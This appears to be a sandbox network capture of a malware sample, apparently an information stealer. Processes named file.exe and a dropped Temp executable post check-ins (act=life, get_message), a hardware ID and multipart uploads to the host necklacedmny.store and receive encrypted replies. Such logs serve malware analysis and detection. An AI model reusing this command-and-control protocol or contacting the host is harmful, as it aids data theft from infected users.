2024-10-30 10:45:24 UTC	1025	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m5g95f5beh96cnfumq9nu5demm; expires=Sun, 23 Feb 2025 04:32:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wyzlkqc96iTS%2FgrJlO0wYNn04dVUFWN4njk9oeqMG6iDP9WOnktygKjdHsOlQUi49FEXnk0p5RTUSy%2B031i2N3w9WegY4Wx%2F8Ne%2BrJM6WWF5Egn1rh2ZIGRjSo9gSEPR6N840%2F0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad0bbc91c6b0b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1073&sent=250&recv=653&lost=0&retrans=0&sent_bytes=2845&recv_bytes=589030&delivery_rate=2635122&cwnd=251&unsent_bytes=0&cid=2d02f8180931a6fa&ts=2615&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49749	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:25 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 10:45:25 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=8C141C2517812F5C794FEDDF40D44F2E
2024-10-30 10:45:25 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k82vlp2nmifhouf4hhr782r1e2; expires=Sun, 23 Feb 2025 04:32:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lpdNOzG1gYC9CEbftYruEXaVxM1sc4xUrPOUSPhCYnCp5i90RyhOVcBkC%2FuQjOPMJl44V%2BGCcv3xoe3unEzpqGD2s6k%2B7dgKk%2BdSC%2FAUFqoWe1wKRoFScloMF1%2BpfNJG5z2hh9Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad0d01cf0485f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1888&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1493553&cwnd=251&unsent_bytes=0&cid=2764a5d8b68cfb11&ts=482&x=0"
2024-10-30 10:45:25 UTC	214	IN	Data Raw: 64 30 0d 0a 59 4f 68 56 79 6d 64 74 30 48 61 37 35 65 59 34 73 42 6c 58 55 54 73 2b 51 70 65 5a 62 43 6e 4b 48 6f 4e 6d 7a 67 57 61 42 47 67 37 6b 33 65 2f 52 56 66 79 48 73 2b 52 6c 67 4c 73 4e 67 74 2b 43 67 5a 33 75 61 74 64 48 4f 51 76 73 6c 58 67 4e 4b 78 59 52 77 2b 4f 4d 35 5a 49 43 62 55 51 6c 59 43 65 58 5a 49 31 64 54 64 50 48 48 69 6e 74 55 35 4d 36 43 53 7a 47 2b 4a 2b 75 48 46 4b 57 73 6f 39 76 68 4d 64 36 69 71 55 75 63 6b 4a 69 43 78 35 59 77 6f 4c 62 4b 61 6f 58 77 66 37 4b 4e 39 4a 6f 32 7a 30 59 54 52 50 6d 6a 53 6b 41 77 4b 39 57 4e 36 64 67 78 71 63 4f 7a 45 6c 47 51 52 79 75 37 73 4a 43 2f 41 75 2f 6a 73 3d 0d 0a Data Ascii: d0YOhVymdt0Ha75eY4sBlXUTs+QpeZbCnKHoNmzgWaBGg7k3e/RVfyHs+RlgLsNgt+CgZ3uatdHOQvslXgNKxYRw+OM5ZICbUQlYCeXZI1dTdPHHintU5M6CSzG+J+uHFKWso9vhMd6iqUuckJiCx5YwoLbKaoXwf7KN9Jo2z0YTRPmjSkAwK9WN6dgxqcOzElGQRyu7sJC/Au/js=
2024-10-30 10:45:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	58192	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:46 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 10:46:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 10:46:47 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7342890g24a0m8h50v3bs09072; expires=Sun, 23 Feb 2025 04:33:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DYQy9rVJ46vZbsnXp7qJRkPLG%2FMkwkHxf30fhJHAN1t4w5AE1RYVC0W3%2Br3dVWxOwoqID%2BCHmHTGtpa0LWfUoI3Mt34u3ySqwv0puE0XU86vzL6L6bt%2BI8JDK2ez1Qcyed4yWkg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad2cd6ee08d2c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1524&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1906517&cwnd=83&unsent_bytes=0&cid=9b8b285c19ce20b2&ts=505&x=0"
2024-10-30 10:46:47 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 10:46:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	58194	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:47 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 10:46:47 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 10:46:48 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=im276gf0c3eobik5sdd5997kg2; expires=Sun, 23 Feb 2025 04:33:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2B%2BciPbreSCPXCF%2BmprDVOLeOcJ%2FtTgsDxd7SdRrHHzZXmPa3khC0e85qmAlqeoUeZk%2BAX9WSnZIUkHyhskJ%2BeC%2Bv4UrBjhb7qS06UI5g3FIDqnck2wKATCNUcigC5sEVrjfqH8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad2d47877476d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1142&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2479452&cwnd=251&unsent_bytes=0&cid=9147706a0eb566de&ts=472&x=0"
2024-10-30 10:46:48 UTC	348	IN	Data Raw: 63 62 65 0d 0a 74 37 50 6a 54 54 7a 4e 71 48 50 46 77 70 6f 6e 36 53 6c 35 74 6e 49 53 48 69 58 7a 2f 75 59 5a 6b 64 52 31 32 70 75 62 70 68 58 4d 6b 5a 56 76 42 76 6d 45 55 62 61 6e 75 42 32 64 57 77 7a 54 58 6a 42 2f 51 64 48 45 67 48 6a 39 70 78 44 32 75 65 33 4c 4e 34 33 56 67 69 46 50 71 49 52 52 6f 4c 71 34 48 62 4a 53 57 39 4d 63 4d 43 51 48 6c 70 53 45 65 50 32 32 46 4c 48 30 36 38 70 32 33 39 2b 45 4a 56 6d 75 7a 42 4b 70 72 2f 39 43 6a 45 67 54 32 42 74 2f 64 6b 6a 52 30 73 52 38 36 2f 5a 50 2b 4e 62 2b 30 6e 54 36 30 70 41 6d 48 72 43 45 43 4f 65 6e 39 41 58 54 43 78 6a 54 45 48 35 34 51 5a 69 57 6a 6e 48 31 74 78 47 77 36 2f 4c 41 66 64 2f 52 68 79 52 54 70 39 67 66 6f 36 6a 30 52 49 5a 49 57 35 70 51 64 32 51 48 79 64 7a 58 53 66 43 6e 42 71 Data Ascii: cbet7PjTTzNqHPFwpon6Sl5tnISHiXz/uYZkdR12pubphXMkZVvBvmEUbanuB2dWwzTXjB/QdHEgHj9pxD2ue3LN43VgiFPqIRRoLq4HbJSW9McMCQHlpSEeP22FLH068p239+EJVmuzBKpr/9CjEgT2Bt/dkjR0sR86/ZP+Nb+0nT60pAmHrCECOen9AXTCxjTEH54QZiWjnH1txGw6/LAfd/RhyRTp9gfo6j0RIZIW5pQd2QHydzXSfCnBq
2024-10-30 10:46:48 UTC	1369	IN	Data Raw: 52 68 79 46 66 6f 73 6f 44 72 36 76 7a 51 4a 6c 41 45 74 6b 64 63 48 46 4e 6e 70 2b 45 66 50 6d 38 47 4c 4c 39 39 4d 6c 78 31 64 48 42 59 52 36 6f 30 6c 48 2f 34 4e 74 41 6d 30 77 58 77 6c 4a 4b 50 46 6a 66 68 63 52 38 2f 2f 5a 50 2b 50 48 38 78 33 54 65 33 6f 49 6e 56 62 33 4b 41 36 47 74 2f 56 65 4e 54 68 58 65 45 32 4a 32 53 5a 65 66 6a 58 44 36 73 78 43 38 75 62 65 45 63 4d 32 52 32 57 39 2f 6f 73 45 64 72 62 66 34 42 5a 51 46 41 70 51 58 66 44 77 66 30 5a 69 46 66 2f 4b 79 47 62 62 39 39 63 4a 35 32 4e 36 48 4a 56 36 6f 77 42 6d 76 6f 66 56 4f 68 45 73 65 32 52 52 32 63 45 61 55 33 4d 6f 37 39 4b 35 58 34 4c 6e 58 77 33 54 48 6b 37 51 73 55 4b 48 4e 42 2b 65 2f 74 6c 7a 4c 54 42 65 55 53 44 42 79 51 70 36 4f 68 57 6e 32 75 41 57 30 2f 50 2f 4a 64 4e Data Ascii: RhyFfosoDr6vzQJlAEtkdcHFNnp+EfPm8GLL99Mlx1dHBYR6o0lH/4NtAm0wXwlJKPFjfhcR8//ZP+PH8x3Te3oInVb3KA6Gt/VeNThXeE2J2SZefjXD6sxC8ubeEcM2R2W9/osEdrbf4BZQFApQXfDwf0ZiFf/KyGbb99cJ52N6HJV6owBmvofVOhEse2RR2cEaU3Mo79K5X4LnXw3THk7QsUKHNB+e/tlzLTBeUSDByQp6OhWn2uAW0/P/JdN
2024-10-30 10:46:48 UTC	1369	IN	Data Raw: 55 4b 48 4e 42 2b 65 2f 74 6c 7a 4c 54 42 65 55 53 44 42 77 54 70 47 58 6a 6e 2f 7a 73 52 71 39 2b 76 37 48 65 74 4c 62 6a 79 68 61 6f 38 4d 63 6f 61 44 2f 51 59 35 5a 48 74 30 63 66 44 77 4a 30 5a 75 63 4f 36 76 32 4f 4c 2f 76 2b 75 74 30 78 4e 6a 42 4d 42 43 32 69 68 61 72 34 4b 41 46 6a 45 34 54 33 78 5a 34 66 46 57 55 6b 6f 39 36 2b 62 41 57 74 66 58 2f 78 48 62 56 31 34 30 76 57 61 6a 59 41 36 4b 6d 36 6b 2f 4c 42 56 76 54 43 44 41 6b 42 36 65 4d 6b 32 72 6c 39 43 4b 37 39 2f 66 44 59 5a 58 4f 7a 7a 59 65 71 4d 5a 52 2f 2b 44 7a 52 59 64 4d 45 39 49 55 65 48 4e 49 6d 49 36 46 64 2f 32 6b 45 4c 6a 77 39 38 74 37 33 4e 79 47 49 6c 57 6c 78 78 57 67 6f 62 67 4c 79 30 77 44 6c 45 67 77 53 6c 65 63 6b 4b 70 77 2f 37 39 58 70 37 66 67 68 48 44 5a 6b 64 6c Data Ascii: UKHNB+e/tlzLTBeUSDBwTpGXjn/zsRq9+v7HetLbjyhao8McoaD/QY5ZHt0cfDwJ0ZucO6v2OL/v+ut0xNjBMBC2ihar4KAFjE4T3xZ4fFWUko96+bAWtfX/xHbV140vWajYA6Km6k/LBVvTCDAkB6eMk2rl9CK79/fDYZXOzzYeqMZR/+DzRYdME9IUeHNImI6Fd/2kELjw98t73NyGIlWlxxWgobgLy0wDlEgwSleckKpw/79Xp7fghHDZkdl
2024-10-30 10:46:48 UTC	183	IN	Data Raw: 42 36 6d 70 50 31 41 6a 30 77 66 30 68 38 77 4d 67 65 57 68 4d 51 6a 73 35 6b 77 6a 62 76 59 2f 6a 66 4b 6e 35 68 76 57 61 4f 4b 53 65 65 73 2b 30 6d 44 52 42 33 64 48 48 70 31 54 4a 32 58 67 48 66 36 73 78 47 35 2f 50 7a 46 63 39 6e 62 68 79 78 64 6f 4d 55 65 72 2b 43 32 42 59 78 54 57 34 78 51 56 57 74 4d 6e 35 72 45 5a 4c 32 76 56 37 2f 31 75 5a 77 33 32 64 69 48 4b 56 75 6a 79 78 65 76 70 66 42 42 69 6b 30 64 31 78 39 30 65 55 61 65 6d 49 68 31 2b 62 63 57 74 50 4c 32 7a 33 4b 56 6e 38 45 6f 52 75 2b 53 55 5a 61 6a 37 6c 4b 62 52 31 0d 0a Data Ascii: B6mpP1Aj0wf0h8wMgeWhMQjs5kwjbvY/jfKn5hvWaOKSees+0mDRB3dHHp1TJ2XgHf6sxG5/PzFc9nbhyxdoMUer+C2BYxTW4xQVWtMn5rEZL2vV7/1uZw32diHKVujyxevpfBBik0d1x90eUaemIh1+bcWtPL2z3KVn8EoRu+SUZaj7lKbR1
2024-10-30 10:46:48 UTC	1369	IN	Data Raw: 33 37 61 65 0d 0a 76 4c 58 6d 6b 38 51 4a 33 63 33 44 76 79 70 42 32 79 39 2f 7a 4c 63 74 62 65 68 69 4a 59 6f 38 41 59 72 36 62 33 54 4a 6c 49 46 39 6f 58 66 6e 42 4a 6e 4a 61 48 64 72 50 34 56 37 2f 68 75 5a 77 33 2b 64 61 4d 41 56 57 6a 7a 56 47 34 37 75 45 46 6a 45 64 62 6a 46 42 38 64 6b 75 59 6e 49 31 2b 2b 37 30 65 76 66 6a 79 77 58 54 54 33 49 34 6d 54 4b 58 4a 48 36 53 73 39 45 4f 4b 53 41 6e 63 47 54 41 79 42 35 61 45 78 43 4f 7a 6c 78 6d 31 37 66 37 55 4e 38 71 66 6d 47 39 5a 6f 34 70 4a 35 36 50 35 53 6f 68 4b 46 74 49 5a 65 48 78 42 6c 4a 4f 4a 64 66 53 78 46 37 58 33 39 73 4a 2f 32 4e 32 4b 49 56 65 70 79 68 43 74 34 4c 59 46 6a 46 4e 62 6a 46 42 41 66 30 65 52 68 38 52 6b 76 61 39 58 76 2f 57 35 6e 44 66 48 32 34 67 76 58 61 44 4e 46 61 79 Data Ascii: 37aevLXmk8QJ3c3DvypB2y9/zLctbehiJYo8AYr6b3TJlIF9oXfnBJnJaHdrP4V7/huZw3+daMAVWjzVG47uEFjEdbjFB8dkuYnI1++70evfjywXTT3I4mTKXJH6Ss9EOKSAncGTAyB5aExCOzlxm17f7UN8qfmG9Zo4pJ56P5SohKFtIZeHxBlJOJdfSxF7X39sJ/2N2KIVepyhCt4LYFjFNbjFBAf0eRh8Rkva9Xv/W5nDfH24gvXaDNFay
2024-10-30 10:46:48 UTC	1369	IN	Data Raw: 55 77 4e 6c 41 38 2b 5a 51 65 57 6b 4d 51 6a 73 37 63 62 74 2f 72 32 78 33 54 55 32 35 4d 39 55 71 62 43 46 4b 75 72 39 6b 4f 5a 54 52 54 64 45 33 4e 31 51 4a 6d 51 6a 6e 6a 30 39 6c 6e 34 2f 75 47 45 4c 35 58 79 6c 6a 39 54 37 39 56 66 76 75 44 2f 53 63 73 54 57 39 77 64 65 48 5a 44 6c 70 47 44 66 66 71 6b 48 72 33 33 2b 63 42 38 32 74 65 46 4c 46 36 39 7a 42 57 76 6f 2f 56 49 68 55 67 66 6c 46 34 77 65 31 2f 52 78 4d 52 4a 2f 72 67 4d 74 2f 37 6f 7a 6a 66 4b 6e 35 68 76 57 61 4f 4b 53 65 65 6b 39 6c 65 41 53 68 44 66 48 6e 64 7a 51 70 75 63 69 33 2f 77 75 42 79 35 2b 76 48 4a 65 74 76 62 69 43 5a 5a 6f 38 34 57 35 2b 36 34 51 70 4d 4c 51 35 51 37 55 56 46 72 6c 6f 62 45 5a 4c 32 76 56 37 2f 31 75 5a 77 33 32 64 69 4e 4a 56 57 6f 77 42 2b 75 72 76 4e 58 Data Ascii: UwNlA8+ZQeWkMQjs7cbt/r2x3TU25M9UqbCFKur9kOZTRTdE3N1QJmQjnj09ln4/uGEL5Xylj9T79VfvuD/ScsTW9wdeHZDlpGDffqkHr33+cB82teFLF69zBWvo/VIhUgflF4we1/RxMRJ/rgMt/7ozjfKn5hvWaOKSeek9leAShDfHndzQpuci3/wuBy5+vHJetvbiCZZo84W5+64QpMLQ5Q7UVFrlobEZL2vV7/1uZw32diNJVWowB+urvNX
2024-10-30 10:46:48 UTC	1369	IN	Data Raw: 67 54 63 48 68 42 6d 4a 71 48 66 37 50 34 56 37 2f 68 75 5a 77 33 2b 4e 32 47 42 6c 6d 30 69 67 37 70 75 62 68 43 68 77 74 44 6c 42 46 37 64 6b 69 63 6e 34 4a 34 2b 4c 4d 64 75 66 37 78 79 57 58 57 33 6f 34 72 58 71 44 4d 46 36 61 76 2f 6b 4b 43 53 68 50 54 55 44 34 38 51 49 6e 63 33 44 76 64 73 52 53 38 75 65 61 4b 62 70 58 57 6a 57 38 47 37 38 6f 62 72 61 72 32 52 59 78 5a 48 64 30 51 63 32 35 45 6c 35 53 43 64 2f 2b 37 48 37 48 35 2f 4d 39 36 33 74 79 48 4c 31 57 75 69 6c 2f 6e 70 2b 41 46 30 77 73 71 32 52 35 30 63 6b 53 42 6d 38 52 6b 76 61 39 58 76 2f 57 35 6e 44 66 61 32 4a 4d 6f 57 36 66 44 45 61 6d 70 38 55 4b 50 53 42 72 51 48 48 39 31 52 4a 6d 64 6a 48 54 77 74 68 79 77 38 2f 6a 4b 63 70 57 66 77 53 68 47 37 35 4a 52 69 4b 50 39 54 6f 6f 4a 50 Data Ascii: gTcHhBmJqHf7P4V7/huZw3+N2GBlm0ig7pubhChwtDlBF7dkicn4J4+LMduf7xyWXW3o4rXqDMF6av/kKCShPTUD48QInc3DvdsRS8ueaKbpXWjW8G78obrar2RYxZHd0Qc25El5SCd/+7H7H5/M963tyHL1Wuil/np+AF0wsq2R50ckSBm8Rkva9Xv/W5nDfa2JMoW6fDEamp8UKPSBrQHH91RJmdjHTwthyw8/jKcpWfwShG75JRiKP9TooJP
2024-10-30 10:46:48 UTC	1369	IN	Data Raw: 79 42 34 6e 63 33 44 76 47 74 52 6d 32 2f 75 2f 56 4f 76 4c 4c 6a 43 6c 4a 76 6f 70 66 35 36 61 34 48 64 73 46 57 39 41 42 4d 43 51 58 77 38 66 52 4b 4b 54 6d 52 61 65 33 34 49 52 68 6c 59 6e 54 59 52 36 39 69 6b 6e 6e 35 2f 74 58 6d 55 30 59 77 68 4d 33 51 6e 6d 2f 6d 34 4a 2b 39 4b 5a 56 6c 76 4c 74 77 7a 65 62 6b 59 35 76 42 70 61 4b 57 65 65 66 74 67 57 54 43 30 4f 55 4a 58 4e 79 53 5a 61 4b 6c 54 62 64 73 52 47 39 2f 75 6d 47 57 64 37 46 68 6d 38 51 37 38 78 52 2f 2f 43 32 42 59 39 61 57 34 78 41 49 69 63 53 77 73 76 55 4b 65 7a 34 44 76 6a 76 75 5a 77 6c 6d 35 47 54 62 77 62 76 6a 52 4b 31 73 76 35 47 6e 55 68 63 36 69 35 7a 61 6b 71 65 6c 34 56 46 7a 5a 67 61 75 66 72 33 68 6b 62 44 33 4a 45 73 57 36 6a 30 4c 36 6d 6e 37 45 4b 46 54 52 75 55 58 6a Data Ascii: yB4nc3DvGtRm2/u/VOvLLjClJvopf56a4HdsFW9ABMCQXw8fRKKTmRae34IRhlYnTYR69iknn5/tXmU0YwhM3Qnm/m4J+9KZVlvLtwzebkY5vBpaKWeeftgWTC0OUJXNySZaKlTbdsRG9/umGWd7Fhm8Q78xR//C2BY9aW4xAIicSwsvUKez4DvjvuZwlm5GTbwbvjRK1sv5GnUhc6i5zakqel4VFzZgaufr3hkbD3JEsW6j0L6mn7EKFTRuUXj
2024-10-30 10:46:48 UTC	1369	IN	Data Raw: 7a 73 6f 37 39 36 64 58 34 4b 6d 72 6e 79 4b 47 68 74 46 39 51 65 48 54 55 62 48 67 6f 42 66 46 43 77 6d 55 53 44 41 37 52 49 4f 4f 67 6e 6a 6c 74 56 43 47 78 39 37 4b 63 4e 54 48 6b 53 4a 53 6a 73 6b 41 72 5a 37 47 55 49 68 46 46 64 4d 47 59 54 77 4a 30 5a 50 45 49 38 72 32 58 2f 6a 47 74 34 52 76 6c 59 6e 42 47 6c 32 68 78 42 61 78 73 62 56 69 68 55 77 61 77 67 42 39 63 47 61 53 6a 59 34 37 76 66 59 52 2b 4b 47 72 69 6a 66 52 77 4d 46 33 44 76 32 52 52 50 54 33 71 42 65 55 42 51 4b 55 42 6a 41 6b 46 64 2f 63 6c 6a 75 72 39 6c 43 37 36 2b 76 43 64 4d 50 53 78 68 46 67 69 74 30 53 74 36 62 37 65 37 56 67 46 39 49 58 61 6e 74 42 74 37 7a 45 4e 62 4f 35 56 2b 44 41 75 59 77 33 36 70 2f 42 4e 78 37 33 69 69 53 6b 72 76 5a 43 6e 56 70 57 38 51 64 7a 62 45 47 Data Ascii: zso796dX4KmrnyKGhtF9QeHTUbHgoBfFCwmUSDA7RIOOgnjltVCGx97KcNTHkSJSjskArZ7GUIhFFdMGYTwJ0ZPEI8r2X/jGt4RvlYnBGl2hxBaxsbVihUwawgB9cGaSjY47vfYR+KGrijfRwMF3Dv2RRPT3qBeUBQKUBjAkFd/cljur9lC76+vCdMPSxhFgit0St6b7e7VgF9IXantBt7zENbO5V+DAuYw36p/BNx73iiSkrvZCnVpW8QdzbEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	58195	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-30 10:46:49 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:46:50 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:46:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ahm9l7e8qge3vseouh391prn2s; expires=Sun, 23 Feb 2025 04:33:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CYjOSHxden19%2BszU39fAtW6eLHQPfmx2LFNn6gazQ1X5QxDx4REntmt72pTUOnPmx72wV%2BQN36YZHaezdXz00MZEW4k0o%2F89w7sX9fmKTJj8f97y9tNlHV2l7AO18f4qFxGX8gw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad2e07b096b28-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1940&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13791&delivery_rate=1495095&cwnd=251&unsent_bytes=0&cid=073bd5b309b67c60&ts=544&x=0"
2024-10-30 10:46:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:46:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	58196	188.114.96.3	443	6228	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:46:50 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
